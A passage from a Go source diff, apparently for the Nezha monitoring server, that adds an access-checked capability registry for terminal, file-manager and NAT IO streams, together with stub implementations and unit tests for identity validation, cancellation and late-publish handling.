registration.stream != nil { + if registration.stream == stream && registration.streamID == binding.StreamID { + return nil + } + return ErrAgentCompatCapabilityConflict + } + registration.streamID = binding.StreamID + registration.stream = stream + registration.publishLocked() + return nil +} + +func (s *NezhaHandler) WaitAgentCompatIOStreamCapability(ctx context.Context, access AgentCompatCapabilityAccess) (string, error) { + for { + s.ioStreamMutex.RLock() + registration, allowed := s.agentCompatRegistrationLocked(access) + if !allowed { + s.ioStreamMutex.RUnlock() + return "", ErrAgentCompatCapabilityHidden + } + if registration.streamID != "" { + streamID := registration.streamID + stream := registration.stream + stored := registration.registration + current, live := s.ioStreams[streamID] + if stored.Purpose == AgentCompatCapabilityNAT && registration.phase == agentCompatCapabilityPublished && stream != nil { + s.ioStreamMutex.RUnlock() + return streamID, nil + } + // A reused StreamID must not turn a retained capability into authority over a replacement stream. + creatorMatches := stream != nil && stream.creatorUserID == stored.Owner.UserID + if stored.Purpose == AgentCompatCapabilityNAT { + creatorMatches = stream != nil && stream.creatorUserID == 0 + } + valid := live && current == stream && creatorMatches && + stream.targetServerID == stored.TargetServerID && stream.purpose == stored.Purpose.streamPurpose() + s.ioStreamMutex.RUnlock() + if !valid { + return "", ErrAgentCompatCapabilityHidden + } + return streamID, nil + } + notify := registration.notify + observer := s.agentCompatCapabilities.waitObserver + s.ioStreamMutex.RUnlock() + if observer != nil { + observer() + } + select { + case <-ctx.Done(): + return "", ctx.Err() + case <-notify: + } + } +} diff --git a/service/rpc/io_stream_capability_binding_agentcompat_test.go b/service/rpc/io_stream_capability_binding_agentcompat_test.go new file mode 100644 index 00000000..2fd1c81a --- /dev/null +++ b/service/rpc/io_stream_capability_binding_agentcompat_test.go @@ -0,0 +1,193 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatCapabilityCancelLostCreateResponseDeletesOnlyExactStream(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "lost-response", 61) + require.NoError(t, handler.CreateStreamWithPurpose("other-stream", 21, 61, PurposeTerminal)) + start := handler.SnapshotIOStreamState() + + err := handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + + require.NoError(t, err) + state := handler.SnapshotIOStreamState() + require.Equal(t, start.Generation+1, state.Generation) + require.Equal(t, 1, state.Count) + _, found := handler.StreamOwnership("other-stream") + require.True(t, found) +} + +func TestAgentCompatCapabilityCancelOneOfConcurrentCapabilitiesKeepsOthers(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(12, 22), AgentCompatCapabilityTerminal, 62, 0) + first, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + second, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + for streamID, capability := range map[string]AgentCompatIOStreamCapability{"first": first, "second": second} { + require.NoError(t, handler.CreateStreamWithPurpose(streamID, 22, 62, PurposeTerminal)) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: capabilityAccess(capability, registration), StreamID: streamID, + })) + } + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(first, registration))) + + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(second, registration)) + require.NoError(t, err) + require.Equal(t, "second", streamID) +} + +func TestAgentCompatCapabilityBindValidatesStoredIdentityAndStream(t *testing.T) { + tests := []struct { + name string + mutateAccess func(*AgentCompatCapabilityAccess) + streamOwner uint64 + streamServer uint64 + streamPurpose StreamPurpose + }{ + {name: "foreign PAT", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.Owner.PATID++ }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "user mismatch", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.Owner.UserID++ }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "admin mismatch", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.Owner.IsAdmin = true }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "purpose mismatch", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.Purpose = AgentCompatCapabilityFileManager }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "target mismatch", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.TargetServerID++ }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "resource mismatch", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.ResourceID++ }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "access denied", mutateAccess: func(access *AgentCompatCapabilityAccess) { access.ServerAccessAllowed = false }, streamOwner: 23, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "stream creator mismatch", mutateAccess: func(*AgentCompatCapabilityAccess) {}, streamOwner: 24, streamServer: 63, streamPurpose: PurposeTerminal}, + {name: "stream server mismatch", mutateAccess: func(*AgentCompatCapabilityAccess) {}, streamOwner: 23, streamServer: 64, streamPurpose: PurposeTerminal}, + {name: "stream purpose mismatch", mutateAccess: func(*AgentCompatCapabilityAccess) {}, streamOwner: 23, streamServer: 63, streamPurpose: PurposeFileManager}, + } + for _, testCase := range tests { + t.Run(testCase.name, func(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(13, 23), AgentCompatCapabilityTerminal, 63, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose("candidate", testCase.streamOwner, testCase.streamServer, testCase.streamPurpose)) + access := capabilityAccess(capability, registration) + testCase.mutateAccess(&access) + + err = handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: "candidate"}) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + }) + } +} + +func TestAgentCompatCapabilityBindIsIdempotentButRejectsConflict(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "original", 64) + binding := AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: capabilityAccess(capability, registration), StreamID: "original"} + require.NoError(t, handler.BindAgentCompatIOStreamCapability(binding)) + require.NoError(t, handler.CreateStreamWithPurpose("conflict", 21, 64, PurposeTerminal)) + binding.StreamID = "conflict" + + err := handler.BindAgentCompatIOStreamCapability(binding) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityConflict) + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "original", streamID) +} + +func TestAgentCompatCapabilityCancelMismatchOrReplacementDoesNotDetach(t *testing.T) { + t.Run("target mismatch", func(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "target-mismatch", 65) + start := handler.SnapshotIOStreamState() + access := capabilityAccess(capability, registration) + access.TargetServerID++ + + err := handler.CancelAgentCompatIOStreamCapability(access) + + require.NoError(t, err) + require.Equal(t, start, handler.SnapshotIOStreamState()) + }) + t.Run("entry replacement", func(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "replaced", 66) + require.NoError(t, handler.CloseStream("replaced")) + require.NoError(t, handler.CreateStreamWithPurpose("replaced", 21, 66, PurposeTerminal)) + start := handler.SnapshotIOStreamState() + + err := handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + + require.NoError(t, err) + require.Equal(t, start, handler.SnapshotIOStreamState()) + }) +} + +func TestAgentCompatCapabilityCancelIsIdentityHidingIdempotentForAbsentAndUnbound(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(14, 24), AgentCompatCapabilityTerminal, 67, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + start := handler.SnapshotIOStreamState() + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(AgentCompatCapabilityAccess{})) + require.Equal(t, start, handler.SnapshotIOStreamState()) +} + +func TestAgentCompatCapabilityCancelAfterNormalCloseIsIdempotent(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "normally-closed", 69) + require.NoError(t, handler.CloseStream("normally-closed")) + start := handler.SnapshotIOStreamState() + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + + require.Equal(t, start, handler.SnapshotIOStreamState()) +} + +func TestAgentCompatCapabilityForeignCancelDoesNotMutate(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "foreign-cancel", 70) + start := handler.SnapshotIOStreamState() + access := capabilityAccess(capability, registration) + access.Owner.PATID++ + + err := handler.CancelAgentCompatIOStreamCapability(access) + + require.NoError(t, err) + require.Equal(t, start, handler.SnapshotIOStreamState()) + _, found := handler.StreamOwnership("foreign-cancel") + require.True(t, found) +} + +func TestAgentCompatCapabilityUnregisterRejectsBoundLiveStream(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "bound-unregister", 68) + start := handler.SnapshotIOStreamState() + + err := handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityBound) + require.Equal(t, start, handler.SnapshotIOStreamState()) +} + +func TestAgentCompatCapabilityUnregisterRequiresSamePATAndIsIdempotent(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(15, 25), AgentCompatCapabilityTerminal, 71, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + foreign := capabilityAccess(capability, registration) + foreign.Owner.PATID++ + + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(foreign)) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) +} + +func TestAgentCompatCapabilityTokenSourceErrorIsVisible(t *testing.T) { + handler := NewNezhaHandler() + sourceErr := errors.New("token source failed") + handler.setAgentCompatCapabilityTokenSourceForTest(func([]byte) error { return sourceErr }) + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0)) + + require.ErrorIs(t, err, sourceErr) +} diff --git a/service/rpc/io_stream_capability_cancel_agentcompat.go b/service/rpc/io_stream_capability_cancel_agentcompat.go new file mode 100644 index 00000000..2b28cc69 --- /dev/null +++ b/service/rpc/io_stream_capability_cancel_agentcompat.go @@ -0,0 +1,99 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "io" +) + +func (s *NezhaHandler) CancelAgentCompatIOStreamCapability(access AgentCompatCapabilityAccess) error { + s.ioStreamMutex.Lock() + registration, exists := s.agentCompatCapabilities.active[access.Capability.value] + if !exists { + s.ioStreamMutex.Unlock() + return nil + } + if !agentCompatAccessMatches(access, registration) { + s.ioStreamMutex.Unlock() + // Foreign and absent capabilities intentionally share the same inert result to prevent enumeration. + return nil + } + if registration.stream == nil || registration.streamID == "" { + s.removeAgentCompatCapabilityLocked(access.Capability.value, registration) + s.ioStreamMutex.Unlock() + return nil + } + stream := registration.stream + stored := registration.registration + current, live := s.ioStreams[registration.streamID] + if !live { + s.removeAgentCompatCapabilityLocked(access.Capability.value, registration) + s.ioStreamMutex.Unlock() + return nil + } + creatorMatches := stream.creatorUserID == stored.Owner.UserID + if stored.Purpose == AgentCompatCapabilityNAT { + creatorMatches = stream.creatorUserID == 0 + } + if !access.ServerAccessAllowed || current != stream || !creatorMatches || + stream.targetServerID != stored.TargetServerID || stream.purpose != stored.Purpose.streamPurpose() { + s.ioStreamMutex.Unlock() + return nil + } + stream.revoke() + endpoints := make([]io.ReadWriteCloser, 0, 2) + if stream.userIo != nil { + endpoints = append(endpoints, stream.userIo) + } + if stream.agentIo != nil { + endpoints = append(endpoints, stream.agentIo) + } + delete(s.ioStreams, registration.streamID) + s.publishIOStreamStateChangeLocked() + s.removeAgentCompatCapabilityLocked(access.Capability.value, registration) + s.ioStreamMutex.Unlock() + + closeErrors := make([]error, 0, len(endpoints)) + for _, endpoint := range endpoints { + if err := endpoint.Close(); err != nil { + closeErrors = append(closeErrors, err) + } + } + return errors.Join(closeErrors...) +} + +func (s *NezhaHandler) UnregisterAgentCompatIOStreamCapability(access AgentCompatCapabilityAccess) error { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration, exists := s.agentCompatCapabilities.active[access.Capability.value] + if !exists { + return nil + } + if registration.registration.Owner.PATID != access.Owner.PATID || !agentCompatAccessMatches(access, registration) { + return nil + } + if registration.stream != nil { + if current, live := s.ioStreams[registration.streamID]; live && current == registration.stream { + return ErrAgentCompatCapabilityBound + } + } + s.removeAgentCompatCapabilityLocked(access.Capability.value, registration) + return nil +} + +func (s *NezhaHandler) removeAgentCompatCapabilityLocked(capability string, registration *agentCompatCapabilityRegistration) { + current, active := s.agentCompatCapabilities.active[capability] + if !active || current != registration { + return + } + delete(s.agentCompatCapabilities.active, capability) + patID := registration.registration.Owner.PATID + remaining := s.agentCompatCapabilities.activeByPAT[patID] - 1 + if remaining == 0 { + delete(s.agentCompatCapabilities.activeByPAT, patID) + } else { + s.agentCompatCapabilities.activeByPAT[patID] = remaining + } + registration.publishLocked() +} diff --git a/service/rpc/io_stream_capability_default.go b/service/rpc/io_stream_capability_default.go new file mode 100644 index 00000000..cb3ca9b9 --- /dev/null +++ b/service/rpc/io_stream_capability_default.go @@ -0,0 +1,45 @@ +//go:build !agentcompat + +package rpc + +import "context" + +func (*NezhaHandler) RegisterAgentCompatIOStreamCapability(context.Context, AgentCompatCapabilityRegistration) (AgentCompatIOStreamCapability, error) { + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding) error { + return ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) ConsumeAgentCompatNATCapability(AgentCompatCapabilityAccess) (AgentCompatNATPublishHandle, error) { + return AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) ConsumeAgentCompatNATCapabilityForProfile(string, uint64, uint64) (AgentCompatCapabilityAccess, AgentCompatNATPublishHandle, error) { + return AgentCompatCapabilityAccess{}, AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) PublishAgentCompatNATStream(AgentCompatNATPublishHandle, AgentCompatNATPublication) error { + return ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) WaitAgentCompatIOStreamCapability(context.Context, AgentCompatCapabilityAccess) (string, error) { + return "", ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) CancelAgentCompatIOStreamCapability(AgentCompatCapabilityAccess) error { + return nil +} + +func (*NezhaHandler) UnregisterAgentCompatIOStreamCapability(AgentCompatCapabilityAccess) error { + return nil +} + +func (*NezhaHandler) CreateAgentCompatNATStream(AgentCompatNATPublishHandle, string) (*AgentCompatNATStreamLease, error) { + return nil, ErrAgentCompatCapabilityUnavailable +} + +func (*NezhaHandler) CloseAgentCompatNATStreamLease(*AgentCompatNATStreamLease) error { + return nil +} diff --git a/service/rpc/io_stream_capability_default_test.go b/service/rpc/io_stream_capability_default_test.go new file mode 100644 index 00000000..6a2644bc --- /dev/null +++ b/service/rpc/io_stream_capability_default_test.go @@ -0,0 +1,64 @@ +//go:build !agentcompat + +package rpc + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatCapabilityDefaultBuildHasNoRegistryState(t *testing.T) { + handler := NewNezhaHandler() + state := reflect.ValueOf(handler.agentCompatCapabilities) + + require.Equal(t, 0, state.NumField()) +} + +func TestAgentCompatCapabilityDefaultBuildUsesStableUnavailableAndNoopContracts(t *testing.T) { + handler := NewNezhaHandler() + registration := AgentCompatCapabilityRegistration{} + capability, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), registration) + require.Empty(t, capability.String()) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + access := AgentCompatCapabilityAccess{} + require.ErrorIs(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{}), ErrAgentCompatCapabilityUnavailable) + _, err = handler.ConsumeAgentCompatNATCapability(access) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.ErrorIs(t, handler.PublishAgentCompatNATStream(AgentCompatNATPublishHandle{}, AgentCompatNATPublication{}), ErrAgentCompatCapabilityUnavailable) + _, err = handler.WaitAgentCompatIOStreamCapability(context.Background(), access) + require.True(t, errors.Is(err, ErrAgentCompatCapabilityUnavailable)) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(access)) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) +} + +func TestAgentCompatNATCapabilityForProfileDefaultBuildIsUnavailableAndNoOp(t *testing.T) { + handler := NewNezhaHandler() + access, handle, err := handler.ConsumeAgentCompatNATCapabilityForProfile("not-a-capability", 1, 2) + + require.Equal(t, AgentCompatCapabilityAccess{}, access) + require.Equal(t, AgentCompatNATPublishHandle{}, handle) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) +} + +func TestAgentCompatNATAtomicStartDefaultBuildIsUnavailableAndStateless(t *testing.T) { + handler := NewNezhaHandler() + publicationOwned, err := handler.StartAgentCompatNATStream(AgentCompatNATPublishHandle{}, 0) + + require.False(t, publicationOwned) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.Equal(t, 0, handler.StreamCount()) +} + +func TestAgentCompatNATLeaseDefaultBuildIsUnavailableAndStateless(t *testing.T) { + handler := NewNezhaHandler() + lease, err := handler.CreateAgentCompatNATStream(AgentCompatNATPublishHandle{}, "known") + + require.Nil(t, lease) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.NoError(t, handler.CloseAgentCompatNATStreamLease(nil)) + require.Equal(t, 0, handler.StreamCount()) +} diff --git a/service/rpc/io_stream_capability_nat_agentcompat.go b/service/rpc/io_stream_capability_nat_agentcompat.go new file mode 100644 index 00000000..144b07dc --- /dev/null +++ b/service/rpc/io_stream_capability_nat_agentcompat.go @@ -0,0 +1,84 @@ +//go:build agentcompat + +package rpc + +func (s *NezhaHandler) ConsumeAgentCompatNATCapability(access AgentCompatCapabilityAccess) (AgentCompatNATPublishHandle, error) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration, allowed := s.agentCompatRegistrationLocked(access) + if !allowed { + return AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityHidden + } + return s.consumeAgentCompatNATCapabilityLocked(registration, access.Capability.value) +} + +func (s *NezhaHandler) ConsumeAgentCompatNATCapabilityForProfile(value string, targetServerID, resourceID uint64) (AgentCompatCapabilityAccess, AgentCompatNATPublishHandle, error) { + capability, err := ParseAgentCompatIOStreamCapability(value) + if err != nil { + return AgentCompatCapabilityAccess{}, AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityHidden + } + + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration, exists := s.agentCompatCapabilities.active[capability.value] + if !exists || registration.registration.Purpose != AgentCompatCapabilityNAT || + registration.registration.TargetServerID != targetServerID || registration.registration.ResourceID != resourceID { + return AgentCompatCapabilityAccess{}, AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityHidden + } + handle, err := s.consumeAgentCompatNATCapabilityLocked(registration, capability.value) + if err != nil { + return AgentCompatCapabilityAccess{}, AgentCompatNATPublishHandle{}, err + } + stored := registration.registration + return AgentCompatCapabilityAccess{ + Capability: capability, Owner: stored.Owner, Purpose: stored.Purpose, + TargetServerID: stored.TargetServerID, ResourceID: stored.ResourceID, + ServerAccessAllowed: stored.ServerAccessAllowed, + }, handle, nil +} + +func (s *NezhaHandler) consumeAgentCompatNATCapabilityLocked(registration *agentCompatCapabilityRegistration, capability string) (AgentCompatNATPublishHandle, error) { + if registration == nil || registration.registration.Purpose != AgentCompatCapabilityNAT || registration.phase != agentCompatCapabilityRegistered { + return AgentCompatNATPublishHandle{}, ErrAgentCompatCapabilityHidden + } + registration.phase = agentCompatCapabilityConsumed + return AgentCompatNATPublishHandle{ + registration: registration, generation: registration.generation, + capability: capability, + }, nil +} + +func (s *NezhaHandler) PublishAgentCompatNATStream(handle AgentCompatNATPublishHandle, publication AgentCompatNATPublication) error { + s.ioStreamMutex.RLock() + publishObserver := s.agentCompatCapabilities.publishObserver + s.ioStreamMutex.RUnlock() + if publishObserver != nil { + publishObserver() + } + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration := handle.registration + // Pointer identity plus generation makes a late publisher inert after unregister/cancel. + if registration == nil || registration.generation != handle.generation { + return nil + } + current, active := s.agentCompatCapabilities.active[handle.capability] + if !active || current != registration { + return nil + } + if registration.phase == agentCompatCapabilityPublished { + return nil + } + stored := registration.registration + stream := registration.stream + exists := publication.StreamID != "" && registration.streamID == publication.StreamID && stream != nil && s.ioStreams[publication.StreamID] == stream + if registration.phase != agentCompatCapabilityConsumed || publication.Purpose != stored.Purpose || + publication.TargetServerID != stored.TargetServerID || publication.ResourceID != stored.ResourceID || + !exists || stream.creatorUserID != 0 || + stream.targetServerID != stored.TargetServerID || stream.purpose != PurposeNAT { + return ErrAgentCompatCapabilityHidden + } + registration.phase = agentCompatCapabilityPublished + registration.publishLocked() + return nil +} diff --git a/service/rpc/io_stream_capability_nat_agentcompat_test.go b/service/rpc/io_stream_capability_nat_agentcompat_test.go new file mode 100644 index 00000000..02fd4265 --- /dev/null +++ b/service/rpc/io_stream_capability_nat_agentcompat_test.go @@ -0,0 +1,169 @@ +//go:build agentcompat + +package rpc + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func natCapabilityFixture(t *testing.T, patID, userID, serverID, profileID uint64) (*NezhaHandler, AgentCompatCapabilityRegistration, AgentCompatIOStreamCapability) { + t.Helper() + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(patID, userID), AgentCompatCapabilityNAT, serverID, profileID) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + return handler, registration, capability +} + +func TestAgentCompatNATCapabilityTransitionsAndRetainsFirstPublication(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 21, 31, 71, 81) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-first") + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose("nat-second", 0, 71, PurposeNAT)) + publication := AgentCompatNATPublication{Purpose: AgentCompatCapabilityNAT, TargetServerID: 71, ResourceID: 81, StreamID: "nat-first"} + require.NoError(t, handler.PublishAgentCompatNATStream(handle, publication)) + publication.StreamID = "nat-second" + require.NoError(t, handler.PublishAgentCompatNATStream(handle, publication)) + + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "nat-first", streamID) +} + +func TestAgentCompatNATCapabilityPublicationBeforeWaitWorks(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 22, 32, 72, 82) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-published") + require.NoError(t, err) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 72, ResourceID: 82, StreamID: "nat-published", + })) + + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "nat-published", streamID) +} + +func TestAgentCompatNATCapabilityValidatesConsumeAndPublishIdentity(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 23, 33, 73, 83) + access := capabilityAccess(capability, registration) + access.ResourceID++ + _, err := handler.ConsumeAgentCompatNATCapability(access) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-identity") + require.NoError(t, err) + + err = handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 73, ResourceID: 84, StreamID: "nat-identity", + }) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatNATCapabilityLatePublishAfterUnregisterIsIgnored(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 24, 34, 74, 84) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CreateStreamWithPurpose("nat-late", 0, 74, PurposeNAT)) + + err = handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 74, ResourceID: 84, StreamID: "nat-late", + }) + + require.NoError(t, err) + _, err = handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatNATCapabilityLatePublishAfterCancelIsIgnored(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 27, 37, 77, 87) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CreateStreamWithPurpose("nat-after-cancel", 0, 77, PurposeNAT)) + + err = handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 77, ResourceID: 87, StreamID: "nat-after-cancel", + }) + + require.NoError(t, err) + _, found := handler.StreamOwnership("nat-after-cancel") + require.True(t, found) +} + +func TestAgentCompatNATCapabilityReusedTokenCannotBindAnotherStream(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 28, 38, 78, 88) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-original") + require.NoError(t, err) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 78, ResourceID: 88, StreamID: "nat-original", + })) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + require.NoError(t, handler.CreateStreamWithPurpose("nat-reuse", 0, 78, PurposeNAT)) + + _, err = handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 78, ResourceID: 88, StreamID: "nat-reuse", + })) + _, found := handler.StreamOwnership("nat-reuse") + require.True(t, found) +} + +func TestAgentCompatNATCapabilityCancelDetachesPublishedStream(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 25, 35, 75, 85) + handle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(capability, registration)) + require.NoError(t, err) + _, err = handler.CreateAgentCompatNATStream(handle, "nat-cancel") + require.NoError(t, err) + require.NoError(t, handler.PublishAgentCompatNATStream(handle, AgentCompatNATPublication{ + Purpose: AgentCompatCapabilityNAT, TargetServerID: 75, ResourceID: 85, StreamID: "nat-cancel", + })) + start := handler.SnapshotIOStreamState() + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + + state := handler.SnapshotIOStreamState() + require.Equal(t, start.Generation+1, state.Generation) + require.Equal(t, 0, state.Count) +} + +func TestAgentCompatNATCapabilitiesRemainSeparatedAcrossProfiles(t *testing.T) { + handler := NewNezhaHandler() + owner := capabilityOwner(26, 36) + firstRegistration := capabilityRegistration(owner, AgentCompatCapabilityNAT, 76, 86) + secondRegistration := capabilityRegistration(owner, AgentCompatCapabilityNAT, 76, 87) + first, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), firstRegistration) + require.NoError(t, err) + second, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), secondRegistration) + require.NoError(t, err) + firstHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(first, firstRegistration)) + require.NoError(t, err) + secondHandle, err := handler.ConsumeAgentCompatNATCapability(capabilityAccess(second, secondRegistration)) + require.NoError(t, 